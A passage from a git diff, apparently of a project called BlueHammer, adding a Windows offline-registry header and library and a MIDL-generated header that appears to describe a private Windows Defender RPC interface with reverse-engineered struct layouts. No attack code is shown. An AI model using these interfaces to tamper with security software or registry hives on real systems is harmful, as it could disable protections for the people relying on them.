_Out_writes_opt_(*lpcClass) PWSTR lpClass, + _Inout_opt_ PDWORD lpcClass, + _Out_opt_ PFILETIME lpftLastWriteTime + ); + + DWORD + ORAPI + ORGetKeySecurity( + _In_ ORHKEY Handle, + _In_ SECURITY_INFORMATION SecurityInformation, + _Out_opt_ PSECURITY_DESCRIPTOR pSecurityDescriptor, + _Inout_ PDWORD lpcbSecurityDescriptor + ); + + DWORD + ORAPI + ORSetKeySecurity( + _In_ ORHKEY Handle, + _In_ SECURITY_INFORMATION SecurityInformation, + _In_ PSECURITY_DESCRIPTOR pSecurityDescriptor + ); + + DWORD + ORAPI + ORGetVirtualFlags( + _In_ ORHKEY Handle, + _Out_ PDWORD pdwFlags + ); + + DWORD + ORAPI + ORSetVirtualFlags( + _In_ ORHKEY Handle, + _In_ DWORD dwFlags + ); + + DWORD + ORAPI + ORDeleteValue( + _In_ ORHKEY Handle, + _In_opt_ PCWSTR lpValueName + ); + + DWORD + ORAPI + ORGetValue( + _In_ ORHKEY Handle, + _In_opt_ PCWSTR lpSubKey, + _In_opt_ PCWSTR lpValue, + _Out_opt_ PDWORD pdwType, + _Out_writes_bytes_opt_(*pcbData) PVOID pvData, + _Inout_opt_ PDWORD pcbData + ); + + DWORD + ORAPI + ORSetValue( + _In_ ORHKEY Handle, + _In_opt_ PCWSTR lpValueName, + _In_ DWORD dwType, + _In_reads_bytes_opt_(cbData) const BYTE* lpData, + _In_ DWORD cbData + ); + + DWORD + ORAPI + OREnumValue( + _In_ ORHKEY Handle, + _In_ DWORD dwIndex, + _Out_writes_(*lpcValueName) PWSTR lpValueName, + _Inout_ PDWORD lpcValueName, + _Out_opt_ PDWORD lpType, + _Out_writes_bytes_opt_(*lpcbData) PBYTE lpData, + _Inout_opt_ PDWORD lpcbData + ); + + DWORD + ORAPI + ORRenameKey( + _In_ ORHKEY Handle, + _In_ PCWSTR lpNewName + ); + + DWORD + ORStart( + VOID + ); + + VOID + ORShutdown( + VOID + ); + + DWORD + ORAPI + ORMergeHives( + _In_reads_(HiveCount) ORHKEY* HiveHandles, + _In_ ULONG HiveCount, + _Out_ PORHKEY phkResult + ); + +#ifdef __cplusplus +} +#endif + +#endif //__OFFREG_H__ diff --git a/BlueHammer/offreg.lib b/BlueHammer/offreg.lib new file mode 100644 index 0000000000000000000000000000000000000000..533fdf707ff15fdcea1f47b5de5799d54b5bdf6a GIT binary patch literal 6820 zcmcIoU2IfE6h8eyVCm0pOWSP=r6@ssphDSJ2!<>_Ev!gB$BGJkcg2Oehm76glLTLU}Ato0-kf{&Yd&6x4O&Lo1DEf z=gggN=KRf>UH)t|H8i}*_jIfNtX`}4Wp9nsSliwi63zWS0N4oNI|NX19H4RrU@@|Y z>NW|gz6D@Y3%-$ps|3~801#DA3G$x>APTG$R6l`oq`*BvwQT@IjWI!shY<&+}#Jt?U1B923<*(a#(6s`xUVOr4QEBHN9{S844{m4hE!95TK?>K~W29f-OM3G4E z&RvE%7}?e}u+{9{HE5U-qr2Pe+76LO|DGK?a^>)<7$C%hJ$w55BHK0(ZU)2LZl(8H zsquJn6u*v-j72n-VH#uBXixmG zn$$q4@65?XHi#p$*P{ttj$v-I5?0#cQpGXM-5D!2**kh5$p>gm!|WQ(jBv5++bToB zfHjm!#nWops9es*J?jjq@hrA5K|GbtL=)YK=)rMU4`eOQw`bHiY)XwU_rEuq$S7k9 z4G5k<)x-p6GX#z%!!=78=|P`Yag+ybne2&<#u5r#dXg(JOw$^Tj%YSg9K+mcr4HII zqZGnex(&M~T%~a8(+vPuP<{iy>BsgA^6%iB$B+hbK1|dwAAIl_ zEQ3W*0ku#C^{@o0F<+NM02*N)G{8crgeGW)AS{3uSPFiqgBmD-(ntQbOlA(-hAfL{ zNsM=xF(~9^`0zG&f5GQ&&mANu53st8ZI;A3>{i36G?JvmgmgR2V3aFZ(^$#>3u!Tp*uncg^C`i-1d zd5`2sUvX!Z3^t==x&GvSta}w>>uRH8i0f$9O2@8{+G2@>$e;gJVTLxyT64cIHdO|n zF1U2lR|1%k#M2hDUd$X^G2nC|jE%Qt$9adrzoji6i>9M1+NFr<(hEq}9Yz_x!?0%B z8Q1BsF*gD{K)Nm&_zpwsbSb_Am?7!$iK>n^^(55#=OYWNP5Y^Wl`wgKpwB}c|^sgp-bN*+GsU*J%nwUvV0 zaTt#S;tWfUy*Gj5j0w>g9HPc_C=T)Iypj*i1+ZRr@m&hL@b^)2%3OI#duW4mBOxy- zg_+l1`t37&Wn!6LUV@hg?O|TBP726N@S>nS+SjPn^!&-5fss{B108G5hH_R09>UBMkRE31^;-qskq&ox*WCay8d*X5$0A5MYH*n&U-OQAqCpLCP2U zKD_oTUODhiKuEGQD++%d zC*>TUjgwWJGBDN5Gm1QN!rmWR?VPYkV&$l=U=)v>@NT5)Cgp?*7e!vDiilKsth3zn z%fO-YbPiU!IK1vuJK<$np1Skc)$*(NzM)-J*=VfdXF#f%Cys}WKEE5WZB%XJ$Xi1( zS*}AC&P;bF;%mQa!QJ>Z6!&hTHo}1O+>=LUINJHg@01w=E?UtU)#HrV?f>`^oe?!Q z3cnh$O|WL3`|*g`Yj@8)q?oPEK`QP%>hQ>SN6vk9c{yUy|1sYGlrdu!eqwkaKGz() zLYc45MpW0xqHsJs{p%0j|CTD0dK*VxJeh%5Gf!K2#O;X-xBsHJZO~APw3A0fO version is high enough to compile this file*/ +#ifndef __REQUIRED_RPCNDR_H_VERSION__ +#define __REQUIRED_RPCNDR_H_VERSION__ 500 +#endif + +#include "rpc.h" +#include "rpcndr.h" + +#ifndef __RPCNDR_H_VERSION__ +#error this stub requires an updated version of +#endif /* __RPCNDR_H_VERSION__ */ + + +#ifndef __windefend_h_h__ +#define __windefend_h_h__ + +#if defined(_MSC_VER) && (_MSC_VER >= 1020) +#pragma once +#endif + +#ifndef DECLSPEC_XFGVIRT +#if defined(_CONTROL_FLOW_GUARD_XFG) +#define DECLSPEC_XFGVIRT(base, func) __declspec(xfg_virtual(base, func)) +#else +#define DECLSPEC_XFGVIRT(base, func) +#endif +#endif + +/* Forward Declarations */ + +/* header files for imported files */ +#include "oaidl.h" +#include "ocidl.h" + +#ifdef __cplusplus +extern "C"{ +#endif + + +#ifndef __DefaultIfName_INTERFACE_DEFINED__ +#define __DefaultIfName_INTERFACE_DEFINED__ + +/* interface DefaultIfName */ +/* [version][uuid] */ + +typedef struct Struct_16_t + { + long StructMember0; + short StructMember1; + short StructMember2; + byte StructMember3[ 8 ]; + } Struct_16_t; + +typedef struct Struct_28_t + { + hyper StructMember0; + } Struct_28_t; + +typedef struct Struct_40_t + { + long StructMember0; + long StructMember1; + long StructMember2[ 4 ]; + } Struct_40_t; + +typedef struct Struct_58_t + { + long StructMember0; + hyper StructMember1; + hyper StructMember2; + hyper StructMember3; + hyper StructMember4; + hyper StructMember5[ 4 ]; + } Struct_58_t; + +typedef struct Struct_78_t + { + long StructMember0; + long StructMember1; + struct Struct_16_t StructMember2; + struct Struct_28_t StructMember3; + struct Struct_28_t StructMember4; + struct Struct_40_t StructMember5; + struct Struct_58_t StructMember6; + hyper StructMember7; + } Struct_78_t; + +typedef struct Struct_110_t + { + long StructMember0; + } Struct_110_t; + +typedef struct Struct_126_t + { + long StructMember0; + long StructMember1; + } Struct_126_t; + +typedef struct Struct_144_t + { + long StructMember0; + struct Struct_78_t StructMember1; + struct Struct_78_t StructMember2; + struct Struct_40_t StructMember3; + struct Struct_110_t StructMember4[ 4 ]; + struct Struct_126_t StructMember5[ 11 ]; + struct Struct_28_t StructMember6; + } Struct_144_t; + +typedef /* [switch_type] */ /* [switch_type] */ union union_222 + { + /* [case()][unique] */ struct Struct_444_t *unionMember_1; + /* [case()][unique] */ struct Struct_502_t *unionMember_3; + /* [case()][unique] */ struct Struct_530_t *unionMember_4; + /* [case()][unique] */ struct Struct_552_t *unionMember_5; + /* [case()][unique] */ struct Struct_576_t *unionMember_2; + /* [case()][unique] */ struct Struct_594_t *unionMember_6; + /* [case()][unique] */ struct Struct_110_t *unionMember_7; + /* [case()][unique] */ struct Struct_630_t *unionMember_8; + /* [case()][unique] */ struct Struct_674_t *unionMember_9; + /* [case()][unique] */ struct Struct_706_t *unionMember_10; + /* [case()][unique] */ struct Struct_756_t *unionMember_12; + /* [case()][unique] */ struct Struct_126_t *unionMember_13; + /* [case()][unique] */ struct Struct_780_t *unionMember_14; + /* [case()][unique] */ struct Struct_800_t *unionMember_15; + /* [case()][unique] */ struct Struct_110_t *unionMember_16; + /* [case()][unique] */ struct Struct_110_t *unionMember_17; + /* [case()][unique] */ struct Struct_820_t *unionMember_18; + /* [case()][unique] */ struct Struct_840_t *unionMember_19; + /* [case()][unique] */ struct Struct_856_t *unionMember_20; + /* [case()][unique] */ struct Struct_884_t *unionMember_21; + /* [case()][unique] */ struct Struct_954_t *unionMember_22; + } union_222; + +typedef /* [switch_type] */ /* [switch_type] */ union union_368 + { + /* [case()][unique] */ struct Struct_110_t *unionMember_0; + /* [case()][unique] */ struct Struct_110_t *unionMember_1; + /* [case()][unique] */ struct Struct_110_t *unionMember_2; + /* [case()][unique] */ struct Struct_110_t *unionMember_3; + /* [case()][unique] */ struct Struct_110_t *unionMember_4; + /* [case()][unique] */ struct Struct_110_t *unionMember_5; + /* [case()][unique] */ struct Struct_110_t *unionMember_6; + /* [case()][unique] */ struct Struct_110_t *unionMember_7; + /* [case()][unique] */ struct Struct_110_t *unionMember_8; + /* [case()][unique] */ struct Struct_110_t *unionMember_9; + /* [case()][unique] */ struct Struct_110_t *unionMember_10; + } union_368; + +typedef struct Struct_444_t + { + long StructMember0; + long StructMember1; + /* [switch_is] */ union union_368 StructMember2; + } Struct_444_t; + +typedef struct Struct_476_t + { + /* [string][unique] */ wchar_t *StructMember0; + /* [string][unique] */ wchar_t *StructMember1; + long StructMember2; + long StructMember3; + /* [size_is][unique] */ unsigned char *StructMember4; + } Struct_476_t; + +typedef struct Struct_502_t + { + long StructMember0; + /* [unique] */ struct Struct_476_t *StructMember1; + struct Struct_58_t StructMember2; + struct Struct_40_t StructMember3; + } Struct_502_t; + +typedef struct Struct_530_t + { + hyper StructMember0; + long StructMember1; + long StructMember2; + /* [unique] */ struct Struct_476_t *StructMember3; + } Struct_530_t; + +typedef struct Struct_552_t + { + /* [unique] */ struct Struct_476_t *StructMember0; + /* [unique] */ struct Struct_476_t *StructMember1; + } Struct_552_t; + +typedef struct Struct_576_t + { + hyper StructMember0; + long StructMember1; + long StructMember2; + long StructMember3; + } Struct_576_t; + +typedef struct Struct_594_t + { + long StructMember0; + long StructMember1; + long StructMember2; + long StructMember3; + long StructMember4; + /* [string][unique] */ wchar_t *StructMember5; + } Struct_594_t; + +typedef struct Struct_630_t + { + long StructMember0; + /* [size_is][unique] */ unsigned char *StructMember1; + } Struct_630_t; + +typedef struct Struct_674_t + { + /* [string][unique] */ wchar_t *StructMember0; + long StructMember1; + long StructMember2; + /* [size_is][unique] */ unsigned char *StructMember3; + long StructMember4; + /* [size_is][unique] */ unsigned char *StructMember5; + } Struct_674_t; + +typedef struct Struct_706_t + { + long StructMember0; + long StructMember1; + /* [string][unique] */ wchar_t *StructMember2; + struct Struct_28_t StructMember3; + long StructMember4; + /* [string][unique] */ wchar_t *StructMember5; + /* [string][unique] */ wchar_t *StructMember6; + long StructMember7; + } Struct_706_t; + +typedef struct Struct_756_t + { + long StructMember0; + long StructMember1; + /* [size_is][unique] */ unsigned char *StructMember2; + } Struct_756_t; + +typedef struct Struct_780_t + { + struct Struct_126_t StructMember0; + struct Struct_126_t StructMember1; + long StructMember2; + long StructMember3; + } Struct_780_t; + +typedef struct Struct_800_t + { + long StructMember0; + /* [string][unique] */ wchar_t *StructMember1; + } Struct_800_t; + +typedef struct Struct_820_t + { + /* [string][unique] */ wchar_t *StructMember0; + long StructMember1; + } Struct_820_t; + +typedef struct Struct_840_t + { + long StructMember0; + hyper StructMember1; + } Struct_840_t; + +typedef struct Struct_856_t + { + long StructMember0; + /* [string][unique] */ wchar_t *StructMember1; + /* [string][unique] */ wchar_t *StructMember2; + long StructMember3; + } Struct_856_t; + +typedef struct Struct_884_t + { + long StructMember0; + /* [string][unique] */ wchar_t *StructMember1; + /* [string][unique] */ wchar_t *StructMember2; + /* [string][unique] */ wchar_t *StructMember3; + long StructMember4; + } Struct_884_t; + +typedef struct Struct_916_t + { + long StructMember0; + long StructMember1; + /* [size_is][unique] */ unsigned char *StructMember2; + } Struct_916_t; + +typedef struct Struct_954_t + { + long StructMember0; + /* [size_is][unique] */ struct Struct_916_t *StructMember1; + } Struct_954_t; + +typedef struct Struct_970_t + { + long StructMember0; + long StructMember1; + struct Struct_28_t StructMember2; + long StructMember3; + /* [switch_is] */ union union_222 StructMember4; + } Struct_970_t; + +typedef /* [switch_type] */ /* [switch_type] */ union union_1078 + { + /* [case()][unique] */ struct Struct_110_t *unionMember_0; + /* [case()][unique] */ struct Struct_1118_t *unionMember_1; + /* [case()][unique] */ struct Struct_110_t *unionMember_2; + /* [case()][unique] */ struct Struct_110_t *unionMember_3; + /* [case()][unique] */ struct Struct_1156_t *unionMember_4; + } union_1078; + +typedef struct Struct_1118_t + { + struct Struct_28_t StructMember0; + hyper StructMember1; + hyper StructMember2; + hyper StructMember3; + long StructMember4; + long StructMember5; + /* [string][unique] */ wchar_t *StructMember6; + /* [string][unique] */ wchar_t *StructMember7; + /* [string][unique] */ wchar_t *StructMember8; + } Struct_1118_t; + +typedef struct Struct_1156_t + { + /* [string][unique] */ wchar_t *StructMember0; + /* [string][unique] */ wchar_t *StructMember1; + long StructMember2; + long StructMember3; + /* [string][unique] */ wchar_t *StructMember4; + /* [string][unique] */ wchar_t *StructMember5; + } Struct_1156_t; + +typedef struct Struct_1232_t + { + hyper StructMember0; + struct Struct_16_t StructMember1; + /* [string][unique] */ wchar_t *StructMember2; + long StructMember3; + long StructMember4; + long StructMember5; + long StructMember6; + long StructMember7; + long StructMember8; + long StructMember9; + long StructMember10[ 6 ]; + long StructMember11; + /* [size_is][unique] */ struct Struct_476_t **StructMember12; + struct Struct_28_t StructMember13; + long StructMember14; + long StructMember15; + struct Struct_16_t StructMember16; + long StructMember17; + /* [switch_is] */ union union_1078 StructMember18; + long StructMember19; + /* [string][unique] */ wchar_t *StructMember20; + long StructMember21; + /* [string][unique] */ wchar_t *StructMember22; + long StructMember23; + long StructMember24; + struct Struct_28_t StructMember25; + long StructMember26; + struct Struct_28_t StructMember27; + long StructMember28; + long StructMember29; + long StructMember30; + /* [string][unique] */ wchar_t *StructMember31; + long StructMember32; + /* [size_is][unique] */ struct Struct_476_t **StructMember33; + long StructMember34; + long StructMember35; + long StructMember36; + long StructMember37; + long StructMember38; + } Struct_1232_t; + +typedef /* [switch_type] */ /* [switch_type] */ union union_1370 + { + /* [case()][unique] */ struct Struct_1232_t *unionMember_1; + } union_1370; + +typedef struct Struct_1382_t + { + long StructMember0; + /* [switch_is] */ union union_1370 StructMember1; + } Struct_1382_t; + +typedef struct Struct_1434_t + { + long StructMember0; + /* [size_is][unique] */ hyper *StructMember1; + /* [size_is][unique] */ long *StructMember2; + } Struct_1434_t; + +typedef struct Struct_1516_t + { + hyper StructMember0; + struct Struct_28_t StructMember1; + } Struct_1516_t; + +typedef struct Struct_1536_t + { + struct Struct_1516_t StructMember0; + struct Struct_1516_t StructMember1; + struct Struct_1516_t StructMember2; + struct Struct_1516_t StructMember3; + struct Struct_1516_t StructMember4; + struct Struct_1516_t StructMember5; + struct Struct_1516_t StructMember6; + struct Struct_1516_t StructMember7; + struct Struct_1516_t StructMember8[ 4 ]; + } Struct_1536_t; + +typedef struct Struct_1682_t + { + long StructMember0; + hyper StructMember1; + /* [string][unique] */ wchar_t *StructMember2; + long StructMember3; + /* [string][unique] */ wchar_t *StructMember4; + /* [string][unique] */ wchar_t *StructMember5; + long StructMember6; + /* [string][unique] */ wchar_t *StructMember7; + } Struct_1682_t; + +typedef struct Struct_1740_t + { + long StructMember0; + /* [size_is][unique] */ struct Struct_1682_t **StructMember1; + } Struct_1740_t; + +typedef struct Struct_1872_t + { + long StructMember0; + long StructMember1; + /* [string][unique] */ wchar_t *StructMember2; + } Struct_1872_t; + +typedef struct Struct_1920_t + { + struct Struct_16_t StructMember0; + long StructMember1; + long StructMember2; + long StructMember3; + long StructMember4; + long StructMember5; + long StructMember6; + long StructMember7; + long StructMember8; + long StructMember9; + long StructMember10; + long StructMember11; + long StructMember12; + long StructMember13; + long StructMember14; + long StructMember15; + long StructMember16; + long StructMember17; + long StructMember18; + long StructMember19; + long StructMember20; + } Struct_1920_t; + +typedef struct Struct_1978_t + { + long StructMember0; + long StructMember1; + } Struct_1978_t; + +typedef struct Struct_2070_t + { + /* [string][unique] */ wchar_t *StructMember0; + } Struct_2070_t; + +typedef /* [switch_type] */ /* [switch_type] */ union union_2142 + { + /* [case()][unique] */ struct Struct_2194_t *unionMember_0; + /* [case()][unique] */ struct Struct_2208_t *unionMember_1; + /* [case()][unique] */ struct Struct_2270_t *unionMember_2; + /* [case()][unique] */ struct Struct_2300_t *unionMember_3; + /* [case()][unique] */ struct Struct_2314_t *unionMember_4; + /* [case()][unique] */ struct Struct_2356_t *unionMember_5; + /* [case()][unique] */ struct Struct_2408_t *unionMember_6; + } union_2142; + +typedef struct Struct_2194_t + { + struct Struct_28_t StructMember0; + hyper StructMember1; + } Struct_2194_t; + +typedef struct Struct_2208_t + { + struct Struct_28_t StructMember0; + hyper StructMember1; + /* [string][unique] */ wchar_t *StructMember2; + /* [string][unique] */ wchar_t *StructMember3; + /* [string][unique] */ wchar_t *StructMember4; + hyper StructMember5; + long StructMember6; + struct Struct_16_t StructMember7; + hyper StructMember8; + /* [string][unique] */ wchar_t *StructMember9; + struct Struct_28_t StructMember10; + hyper StructMember11; + struct Struct_28_t StructMember12; + hyper StructMember13; + hyper StructMember14; + hyper StructMember15; + hyper StructMember16; + hyper StructMember17; + hyper StructMember18; + } Struct_2208_t; + +typedef struct Struct_2270_t + { + struct Struct_28_t StructMember0; + hyper StructMember1; + /* [string][unique] */ wchar_t *StructMember2; + /* [string][unique] */ wchar_t *StructMember3; + hyper StructMember4; + } Struct_2270_t; + +typedef struct Struct_2300_t + { + struct Struct_28_t StructMember0; + } Struct_2300_t; + +typedef struct Struct_2314_t + { + long StructMember0; + struct Struct_28_t StructMember1; + hyper StructMember2; + /* [string][unique] */ wchar_t *StructMember3; + /* [string][unique] */ wchar_t *StructMember4; + hyper StructMember5; + struct Struct_28_t StructMember6; + hyper StructMember7; + struct Struct_28_t StructMember8; + hyper StructMember9; + } Struct_2314_t; + +typedef struct Struct_2356_t + { + long StructMember0; + struct Struct_28_t StructMember1; + hyper StructMember2; + /* [string][unique] */ wchar_t *StructMember3; + /* [string][unique] */ wchar_t *StructMember4; + } Struct_2356_t; + +typedef struct Struct_2408_t + { + long StructMember0; + struct Struct_28_t StructMember1; + hyper StructMember2; + /* [string][unique] */ wchar_t *StructMember3; + /* [string][unique] */ wchar_t *StructMember4; + long StructMember5; + /* [size_is][unique] */ struct Struct_916_t *StructMember6; + } Struct_2408_t; + +typedef struct Struct_2442_t + { + long StructMember0; + /* [switch_is] */ union union_2142 StructMember1; + } Struct_2442_t; + +typedef struct Struct_2482_t + { + struct Struct_110_t StructMember0; + long StructMember1; + /* [string][unique] */ wchar_t *StructMember2; + long StructMember3; + /* [size_is][unique] */ wchar_t *StructMember4; + long StructMember5; + /* [size_is][unique] */ wchar_t *StructMember6; + } Struct_2482_t; + +typedef struct Struct_2516_t + { + struct Struct_2442_t StructMember0; + struct Struct_2482_t StructMember1; + hyper StructMember2; + } Struct_2516_t; + +typedef struct Struct_2558_t + { + struct Struct_16_t StructMember0; + long StructMember1; + long StructMember2; + hyper StructMember3; + } Struct_2558_t; + +typedef struct Struct_2640_t + { + hyper StructMember0; + /* [string][unique] */ wchar_t *StructMember1; + long StructMember2; + long StructMember3; + long StructMember4; + long StructMember5; + long StructMember6; + /* [size_is][unique] */ struct Struct_476_t **StructMember7; + long StructMember8; + long StructMember9; + } Struct_2640_t; + +typedef struct Struct_2672_t + { + long StructMember0; + long StructMember1; + hyper StructMember2; + } Struct_2672_t; + +typedef struct Struct_2680_t + { + long StructMember0; + struct Struct_2672_t StructMember1; + } Struct_2680_t; + +typedef struct Struct_2798_t + { + /* [string][unique] */ wchar_t *StructMember0; + hyper StructMember1; + long StructMember2; + /* [string][unique] */ wchar_t *StructMember3; + /* [string][unique] */ wchar_t *StructMember4; + /* [string][unique] */ wchar_t *StructMember5; + } Struct_2798_t; + +typedef struct Struct_2854_t + { + /* [string][unique] */ wchar_t *StructMember0; + long StructMember1; + /* [string][unique] */ wchar_t *StructMember2; + long StructMember3; + /* [string][unique] */ wchar_t *StructMember4; + /* [string][unique] */ wchar_t *StructMember5; + /* [string][unique] */ wchar_t *StructMember6; + } Struct_2854_t; + +typedef struct Struct_2900_t + { + /* [string][unique] */ wchar_t *StructMember0; + /* [string][unique] */ wchar_t *StructMember1; + long StructMember2; + } Struct_2900_t; + +typedef struct Struct_2986_t + { + /* [string][unique] */ wchar_t *StructMember0; + /* [string][unique] */ wchar_t *StructMember1; + } Struct_2986_t; + +typedef struct Struct_3040_t + { + long StructMember0; + /* [size_is][unique] */ struct Struct_2986_t **StructMember1; + long StructMember2; + /* [size_is][unique] */ unsigned char *StructMember3; + hyper StructMember4; + long StructMember5; + } Struct_3040_t; + +typedef struct Struct_3108_t + { + struct Struct_16_t StructMember0; + /* [string][unique] */ wchar_t *StructMember1; + /* [string][unique] */ wchar_t *StructMember2; + } Struct_3108_t; + +typedef struct Struct_3166_t + { + /* [string][unique] */ wchar_t *StructMember0; + long StructMember1; + hyper StructMember2; + } Struct_3166_t; + +typedef struct Struct_3220_t + { + struct Struct_3166_t StructMember0; + /* [string][unique] */ wchar_t *StructMember1; + struct Struct_16_t StructMember2; + long StructMember3; + long StructMember4; + long StructMember5; + unsigned char StructMember6[ 32 ]; + } Struct_3220_t; + +typedef struct Struct_3280_t + { + /* [string][unique] */ wchar_t *StructMember0; + } Struct_3280_t; + +typedef struct Struct_3302_t + { + long StructMember0; + /* [unique] */ struct Struct_3220_t *StructMember1; + /* [unique] */ struct Struct_3108_t *StructMember2; + } Struct_3302_t; + +typedef struct Struct_3350_t + { + long StructMember0; + long StructMember1; + long StructMember2; + } Struct_3350_t; + +typedef struct Struct_3370_t + { + long StructMember0; + /* [string][unique] */ wchar_t *StructMember1; + /* [string][unique] */ wchar_t *StructMember2; + /* [string][unique] */ wchar_t *StructMember3; + /* [string][unique] */ wchar_t *StructMember4; + /* [string][unique] */ wchar_t *StructMember5; + /* [string][unique] */ wchar_t *StructMember6; + /* [string][unique] */ wchar_t *StructMember7; + /* [string][unique] */ wchar_t *StructMember8; + /* [string][unique] */ wchar_t *StructMember9; + hyper StructMember10; + long StructMember11; + hyper StructMember12; + long StructMember13; + long StructMember14; + /* [string][unique] */ wchar_t *StructMember15; + /* [string][unique] */ wchar_t *StructMember16; + short StructMember17; + short StructMember18; + /* [string][unique] */ wchar_t *StructMember19; + long StructMember20; + long StructMember21; + } Struct_3370_t; + +typedef /* [switch_type] */ /* [switch_type] */ union union_3514 + { + /* [case()][unique] */ struct Struct_3552_t *unionMember_0; + } union_3514; + +typedef struct Struct_3552_t + { + hyper StructMember0; + long StructMember1; + /* [size_is][unique] */ struct Struct_476_t **StructMember2; + } Struct_3552_t; + +typedef struct Struct_3570_t + { + long StructMember0; + /* [switch_is] */ union union_3514 StructMember1; + } Struct_3570_t; + +typedef /* [switch_type] */ /* [switch_type] */ union union_3624 + { + /* [case()][unique] */ struct Struct_3640_t *unionMember_1; + } union_3624; + +typedef struct Struct_3640_t + { + hyper StructMember0; + long StructMember1; + long StructMember2; + long StructMember3; + } Struct_3640_t; + +typedef struct Struct_3654_t + { + long StructMember0; + /* [switch_is] */ union union_3624 StructMember1; + } Struct_3654_t; + +typedef /* [switch_type] */ /* [switch_type] */ union union_3714 + { + /* [case()][unique] */ struct Struct_3742_t *unionMember_1; + /* [case()][unique] */ struct Struct_3762_t *unionMember_2; + /* [case()][unique] */ struct Struct_3782_t *unionMember_3; + } union_3714; + +typedef struct Struct_3742_t + { + long StructMember0; + long StructMember1; + hyper StructMember2; + hyper StructMember3; + long StructMember4; + } Struct_3742_t; + +typedef struct Struct_3762_t + { + /* [unique] */ struct Struct_3742_t *StructMember0; + long StructMember1; + } Struct_3762_t; + +typedef struct Struct_3782_t + { + /* [unique] */ struct Struct_3762_t *StructMember0; + long StructMember1; + hyper StructMember2; + } Struct_3782_t; + +typedef struct Struct_3800_t + { + long StructMember0; + /* [switch_is] */ union union_3714 StructMember1; + } Struct_3800_t; + +typedef struct Struct_3824_t + { + long StructMember0; + /* [string][unique] */ wchar_t *StructMember1; + /* [string][unique] */ wchar_t *StructMember2; + } Struct_3824_t; + +typedef struct Struct_3880_t + { + long StructMember0; + /* [string][unique] */ wchar_t *StructMember1; + /* [string][unique] */ wchar_t *StructMember2; + /* [string][unique] */ wchar_t *StructMember3; + } Struct_3880_t; + +typedef /* [switch_type] */ /* [switch_type] */ union union_3928 + { + /* [case()][unique] */ struct Struct_3944_t *unionMember_1; + } union_3928; + +typedef struct Struct_3944_t + { + long StructMember0; + long StructMember1; + long StructMember2; + hyper StructMember3; + } Struct_3944_t; + +typedef struct Struct_3958_t + { + long StructMember0; + /* [switch_is] */ union union_3928 StructMember1; + } Struct_3958_t; + +typedef /* [switch_type] */ /* [switch_type] */ union union_3992 + { + /* [case()][unique] */ struct Struct_4044_t *unionMember_1; + /* [case()][unique] */ struct Struct_4066_t *unionMember_2; + /* [case()][unique] */ struct Struct_4086_t *unionMember_3; + /* [case()][unique] */ struct Struct_4118_t *unionMember_4; + /* [case()][unique] */ struct Struct_4142_t *unionMember_5; + } union_3992; + +typedef struct Struct_4044_t + { + long StructMember0; + long StructMember1; + long StructMember2; + /* [size_is][unique] */ unsigned char *StructMember3; + } Struct_4044_t; + +typedef struct Struct_4066_t + { + struct Struct_4044_t StructMember0; + long StructMember1; + } Struct_4066_t; + +typedef struct Struct_4086_t + { + struct Struct_4066_t StructMember0; + long StructMember1; + } Struct_4086_t; + +typedef struct Struct_4118_t + { + struct Struct_4086_t StructMember0; + long StructMember1; + long StructMember2; + /* [size_is][unique] */ unsigned char *StructMember3; + } Struct_4118_t; + +typedef struct Struct_4142_t + { + struct Struct_4118_t StructMember0; + long StructMember1; + } Struct_4142_t; + +typedef struct Struct_4158_t + { + long StructMember0; + /* [switch_is] */ union union_3992 StructMember1; + } Struct_4158_t; + +typedef struct Struct_4178_t + { + long StructMember0; + long StructMember1; + struct Struct_126_t StructMember2; + } Struct_4178_t; + +typedef struct Struct_4194_t + { + long StructMember0; + long StructMember1; + hyper StructMember2; + hyper StructMember3; + hyper StructMember4; + } Struct_4194_t; + +typedef struct Struct_4208_t + { + /* [string][unique] */ wchar_t *StructMember0; + /* [string][unique] */ wchar_t *StructMember1; + long StructMember2; + long StructMember3; + /* [string][unique] */ wchar_t *StructMember4; + /* [string][unique] */ wchar_t *StructMember5; + /* [string][unique] */ wchar_t *StructMember6; + long StructMember7; + struct Struct_126_t StructMember8; + long StructMember9; + long StructMember10; + /* [string][unique] */ wchar_t *StructMember11; + long StructMember12; + long StructMember13; + long StructMember14; + long StructMember15; + } Struct_4208_t; + +typedef /* [switch_type] */ /* [switch_type] */ union union_4280 + { + /* [case()][unique] */ struct Struct_4296_t *unionMember_1; + } union_4280; + +typedef struct Struct_4296_t + { + long StructMember0; + long StructMember1; + long StructMember2; + long StructMember3; + hyper StructMember4; + struct Struct_1516_t StructMember5; + struct Struct_1516_t StructMember6; + } Struct_4296_t; + +typedef struct Struct_4314_t + { + long StructMember0; + /* [switch_is] */ union union_4280 StructMember1; + } Struct_4314_t; + +typedef struct Struct_4334_t + { + long StructMember0; + long StructMember1; + struct Struct_126_t StructMember2; + long StructMember3; + long StructMember4; + /* [string][unique] */ wchar_t *StructMember5; + /* [string][unique] */ wchar_t *StructMember6; + /* [string][unique] */ wchar_t *StructMember7; + /* [string][unique] */ wchar_t *StructMember8; + /* [string][unique] */ wchar_t *StructMember9; + /* [string][unique] */ wchar_t *StructMember10; + /* [string][unique] */ wchar_t *StructMember11; + /* [string][unique] */ wchar_t *StructMember12; + /* [string][unique] */ wchar_t *StructMember13; + /* [string][unique] */ wchar_t *StructMember14; + /* [string][unique] */ wchar_t *StructMember15; + /* [string][unique] */ wchar_t *StructMember16; + /* [string][unique] */ wchar_t *StructMember17; + /* [string][unique] */ wchar_t *StructMember18; + /* [string][unique] */ wchar_t *StructMember19; + /* [string][unique] */ wchar_t *StructMember20; + /* [string][unique] */ wchar_t *StructMember21; + /* [string][unique] */ wchar_t *StructMember22; + /* [string][unique] */ wchar_t *StructMember23; + /* [string][unique] */ wchar_t *StructMember24; + /* [string][unique] */ wchar_t *StructMember25; + /* [string][unique] */ wchar_t *StructMember26; + /* [string][unique] */ wchar_t *StructMember27; + /* [string][unique] */ wchar_t *StructMember28; + /* [string][unique] */ wchar_t *StructMember29; + } Struct_4334_t; + +typedef /* [switch_type] */ /* [switch_type] */ union union_4494 + { + /* [case()][unique] */ struct Struct_4510_t *unionMember_1; + } union_4494; + +typedef struct Struct_4510_t + { + long StructMember0; + long StructMember1; + hyper StructMember2; + long StructMember3; + long StructMember4; + hyper StructMember5; + /* [unique] */ wchar_t *StructMember6; + } Struct_4510_t; + +typedef struct Struct_4530_t + { + long StructMember0; + /* [switch_is] */ union union_4494 StructMember1; + } Struct_4530_t; + +typedef /* [switch_type] */ /* [switch_type] */ union union_4580 + { + /* [case()][unique] */ struct Struct_4620_t *unionMember_1; + } union_4580; + +typedef struct Struct_4620_t + { + /* [size_is][unique] */ 